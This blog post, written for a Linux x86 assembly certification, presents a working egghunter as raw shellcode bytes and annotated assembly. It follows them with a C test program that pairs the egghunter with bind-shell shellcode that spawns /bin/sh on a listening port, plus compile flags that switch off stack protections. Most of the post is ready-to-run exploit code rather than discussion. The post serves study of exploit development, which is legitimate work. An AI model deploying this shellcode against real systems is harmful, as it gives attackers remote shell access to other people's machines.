I created my first egghunter today, and with a little optimization it’s only 38 bytes in size. It would be possible to make a smaller egghunter that did not check for access to the page such as this one which is only 29 bytes! It would run slower however.

The bytes to modify are highlighted in bold (\xf3 \x3d \xf0 \x0d). The shellcode itself is:
“\x31\xc9\xf7\xe1\xfc\x66\x81\xca\xff\x0f\x6a\x21”
“\x58\x42\x8d\x5a\x04\xcd\x80\x3c\xf2\x74\xee\x89”
\xd7\xb8\xf3\x3d\xf0\x0d\xaf\x75\xe9\xaf\x75\xe6″
“\xff\xe7”. The shellcode searches through memory for the tag twice over before jumping execution to the location immediately after. The shellcode will skip pages that give error (cmp al, 0xf2; jz next_page) rather than blindly continuing.

The assembly code for this shellcode is:

; Title Linux Egghunter Shellcode v0.1
; Author npn <npn at iodigitalsec dot com>
; License http://creativecommons.org/licenses/by-sa/3.0/
; Legitimate use and research only
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
global _start

section .text

_start:
xor ecx, ecx
mul ecx
cld

next_page:
or dx, 0xfff;

next_byte:
push byte 0x21  ;access()
pop eax
inc edx
;ecx is 0 already
lea ebx, [edx+4]
int 0x80

cmp al, 0xf2    ;check for error
jz next_page    ;can't read the page

mov edi, edx
mov eax, 0x0df03df3
scasd
jnz next_byte   ;keep trying
scasd           ;do we have the string twice?
jnz next_byte   ;keep trying

jmp edi         ;found

We can test this in the form of a simple C program. We’ll use the egghunter above, and the simple bind shellcode from the previous posting. In this case, we’ll place it on the heap with malloc. I’ve even broken up the memcpy calls to ensure that the actual tag that we are looking for is not found within the program text itself:

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char egghunter[] = \
"\xfc\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x6a"
"\x21\x58\x8d\x5a\x04\xcd\x80\x3c\xf2\x74\xee\xb8"
"\xf3\x3d\xf0\x0d"
"\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";


int main(int argc, char **argv) {

    char *egg;

    char *ptr = mmap(0, sizeof(egghunter),
            PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON
            | MAP_PRIVATE, -1, 0);

    if (ptr == MAP_FAILED) {
        perror("mmap");
        exit(-1);
    }

    memcpy(ptr, egghunter, sizeof(egghunter));
    sc = (int(*)())ptr;

    egg = malloc(1024);

    memcpy(egg+0, "\xf3\x3d", 2);
    memcpy(egg+4, "\xf3\x3d", 2);

    memcpy(egg+8,
	"\x31\xdb\xf7\xe3\xb0\x66\x53\xfe\xc3\x53\x6a\x02\x89\xe1\xcd"
	"\x80\x89\xc7\x6a\x66\x58\x5b\x5e\x66\x68\x0d\xf0\x66\x53\x89"
	"\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x6a\x66\x58\x01\xdb\x6a"
	"\x01\x57\x89\xe1\xcd\x80\x6a\x66\x58\x43\x31\xd2\x52\x52\x57"
	"\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79"
	"\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
	"\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
    ,101);

    memcpy(egg+2, "\xf0\x0d", 2);
    memcpy(egg+6, "\xf0\x0d", 2);

    (void)((void(*)())ptr)();

    free(egg);

    printf("\n");

    return 0;
}

We’ll need to compile with:

gcc -z execstack -fno-stack-protector -D_FORTIFY_SOURCE shellcodetest.c -o shellcodetest -g -ggdb

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-158